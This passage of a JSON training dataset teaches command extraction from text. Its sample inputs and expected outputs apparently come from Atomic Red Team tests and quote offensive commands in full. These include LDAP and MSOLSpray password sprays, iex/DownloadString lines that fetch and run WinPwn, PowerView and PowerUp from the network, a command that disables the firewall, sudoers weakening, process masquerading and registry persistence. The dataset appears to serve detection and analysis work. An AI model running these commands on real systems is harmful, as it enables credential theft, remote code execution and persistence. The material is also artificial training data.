entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To perform a domain password spray with a simplified approach that avoids AV detection, use the following command:\nfunction Invoke-dpsLight ($Password, $userlist) {\n$users = Get-Content $userlist\n$Domain = \"LDAP://\" + ([ADSI]\"\").distinguishedName\nforeach ($User in $users) {\n  $Domain_check = New-Object System.DirectoryServices.DirectoryEntry($Domain, $User, $Password)\n  if ($Domain_check.name -ne $null) {\n    Write-Host -ForegroundColor Green \"Password found for User:$User Password:$Password\"\n  }\n  else { Write-Host \". \" -NoNewline}\n}\nWrite-Host -ForegroundColor green \"Finished\"\n}\nInvoke-dpsLight \"#{password}\" $env:Temp\\usersdpsLight.txt; To brute force a list of Microsoft Online users with a single password, use the MSOLSpray PowerShell module via the following command:\nimport-module \"PathToAtomicsFolder\\..\\ExternalPayloads\\MSOLSpray.ps1\"\nInvoke-MSOLSpray -UserList \"#{user_list}\" -Password \"#{password}\"\n",
    "output": "{\"command_list\": [\"function Invoke-dpsLight ($Password, $userlist) {\\n$users = Get-Content $userlist\\n$Domain = \\\"LDAP://\\\" + ([ADSI]\\\"\\\").distinguishedName\\nforeach ($User in $users) {\\n  $Domain_check = New-Object System.DirectoryServices.DirectoryEntry($Domain, $User, $Password)\\n  if ($Domain_check.name -ne $null) {\\n    Write-Host -ForegroundColor Green \\\"Password found for User:$User Password:$Password\\\"\\n  }\\n  else { Write-Host \\\". \\\" -NoNewline}\\n}\\nWrite-Host -ForegroundColor green \\\"Finished\\\"\\n}\\nInvoke-dpsLight \\\"#{password}\\\" $env:Temp\\\\usersdpsLight.txt\\n\", \"import-module \\\"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\MSOLSpray.ps1\\\"\\nInvoke-MSOLSpray -UserList \\\"#{user_list}\\\" -Password \\\"#{password}\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The PowerUpSQL checks can be launched using the WinPwn's powerSQL function with the following command: iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\npowerSQL -noninteractive -consoleoutput; For the current profile, you can turn off the Microsoft Defender Firewall by executing this command: netsh advfirewall set currentprofile state off. Be careful when accessing the host remotely, as cleanup may reactivate the firewall.",
    "output": "{\"command_list\": [\"iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\\npowerSQL -noninteractive -consoleoutput\", \"netsh advfirewall set currentprofile state off\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For masquerading an executable as a Windows process, execute the following PowerShell commands:\ncopy \"#{inputfile}\" #{outputfile}\ntry { $myT1036_003 = (Start-Process -PassThru -FilePath #{outputfile}).Id }\ncatch { $_; exit $_.Exception.HResult}\nStop-Process -ID $myT1036_003; For masquerading one Windows executable as another, first copy and rename the file, then launch it via this command: copy \"#{inputfile}\" #{outputfile}\n$myT1036_003 = (Start-Process -PassThru -FilePath #{outputfile}).Id\nStop-Process -ID $myT1036_003",
    "output": "{\"command_list\": [\"copy \\\"#{inputfile}\\\" #{outputfile}\\ntry { $myT1036_003 = (Start-Process -PassThru -FilePath #{outputfile}).Id }\\ncatch { $_; exit $_.Exception.HResult}\\nStop-Process -ID $myT1036_003\\n\", \"copy \\\"#{inputfile}\\\" #{outputfile}\\n$myT1036_003 = (Start-Process -PassThru -FilePath #{outputfile}).Id\\nStop-Process -ID $myT1036_003\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For extracting domain GPOs via PowerView on supported systems like Windows 10 Enterprise and DC Windows 2019, use this command: powershell -nop -exec bypass -c \"IEX (New-Object Net.WebClient).DownloadString('https://github.com/BC-SECURITY/Empire/blob/86921fbbf4945441e2f9d9e7712c5a6e96eed0f3/empire/server/data/module_source/situational_awareness/network/powerview.ps1'); Get-DomainGPO\"; The GPOAudit function of WinPwn can be used to scan for Group Policy misconfigurations with this command: iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\nGPOAudit -noninteractive -consoleoutput",
    "output": "{\"command_list\": [\"powershell -nop -exec bypass -c \\\"IEX (New-Object Net.WebClient).DownloadString('https://github.com/BC-SECURITY/Empire/blob/86921fbbf4945441e2f9d9e7712c5a6e96eed0f3/empire/server/data/module_source/situational_awareness/network/powerview.ps1'); Get-DomainGPO\\\"\", \"iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\\nGPOAudit -noninteractive -consoleoutput\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For unlimited sudo caching (a potentially risky configuration change), execute this command in a test environment only:\nsudo sed -i 's/env_reset.*$/env_reset,timestamp_timeout=-1/' /usr/local/etc/sudoers\nsudo visudo -c -f /usr/local/etc/sudoers\n; The sudo caching tty_tickets can be disabled, though this is dangerous without proper precautions, by running:\nsudo sh -c \"echo Defaults \"\\'!\\'\"tty_tickets >> /etc/sudoers\"\nsudo visudo -c -f /etc/sudoers",
    "output": "{\"command_list\": [\"sudo sed -i 's/env_reset.*$/env_reset,timestamp_timeout=-1/' /usr/local/etc/sudoers\\nsudo visudo -c -f /usr/local/etc/sudoers\\n\", \"sudo sh -c \\\"echo Defaults \\\"'!'\\\"tty_tickets >> /etc/sudoers\\\"\\nsudo visudo -c -f /etc/sudoers\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The mechanism of Virtual Channels in RDP involves Addins implemented as DLLs that run automatically during a session, loading on the host system after connection. To set this up, execute the following registry command: reg add \"HKEY_CURRENT_USER\\Software\\Microsoft\\Terminal Server Client\\Default\\Addins\\#{Subkey_Added}\" /v Name /t REG_SZ /d \"#{dll_inf}\" /f; A new environment variable will be visible in the Registry Editor after running this command:\necho \"#{script_command}\" > #{script_path}\nREG.exe ADD HKCU\\Environment /v UserInitMprLogonScript /t REG_SZ /d \"#{script_path}\" /f\n",
    "output": "{\"command_list\": [\"reg add \\\"HKEY_CURRENT_USER\\\\Software\\\\Microsoft\\\\Terminal Server Client\\\\Default\\\\Addins\\\\#{Subkey_Added}\\\" /v Name /t REG_SZ /d \\\"#{dll_inf}\\\" /f\\n\", \"echo \\\"#{script_command}\\\" > #{script_path}\\nREG.exe ADD HKCU\\\\Environment /v UserInitMprLogonScript /t REG_SZ /d \\\"#{script_path}\\\" /f\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This atomic test attempts a single password against all users in a predefined list, executing via the command:\nfunction Invoke-dpsLight ($Password, $userlist) {\n$users = Get-Content $userlist\n$Domain = \"LDAP://\" + ([ADSI]\"\").distinguishedName\nforeach ($User in $users) {\n  $Domain_check = New-Object System.DirectoryServices.DirectoryEntry($Domain, $User, $Password)\n  if ($Domain_check.name -ne $null) {\n    Write-Host -ForegroundColor Green \"Password found for User:$User Password:$Password\"\n  }\n  else { Write-Host \". \" -NoNewline}\n}\nWrite-Host -ForegroundColor green \"Finished\"\n}\nInvoke-dpsLight \"#{password}\" $env:Temp\\usersdpsLight.txt; This test performs a brute force attack on Azure/O365 users by executing the MSOLSpray module with this command:\nimport-module \"PathToAtomicsFolder\\..\\ExternalPayloads\\MSOLSpray.ps1\"\nInvoke-MSOLSpray -UserList \"#{user_list}\" -Password \"#{password}\"\n",
